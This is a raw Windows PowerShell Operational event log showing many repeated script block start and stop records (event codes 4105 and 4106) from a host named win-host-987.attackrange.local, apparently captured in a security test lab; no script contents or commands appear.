Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032101
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032100
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032099
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032098
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032097
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032096
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032095
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032094
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032093
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032092
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032091
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032090
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032089
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032088
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032087
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032086
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032085
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032084
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032083
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032082
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032081
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032080
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032079
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032078
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032077
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032076
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032075
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032074
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032073
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032072
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032071
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032070
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032069
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032068
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032067
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032066
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032065
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032064
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032063
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032062
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032061
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032060
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032059
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032058
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032057
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032056
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032055
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032054
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032053
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032052
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032051
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032050
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032049
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
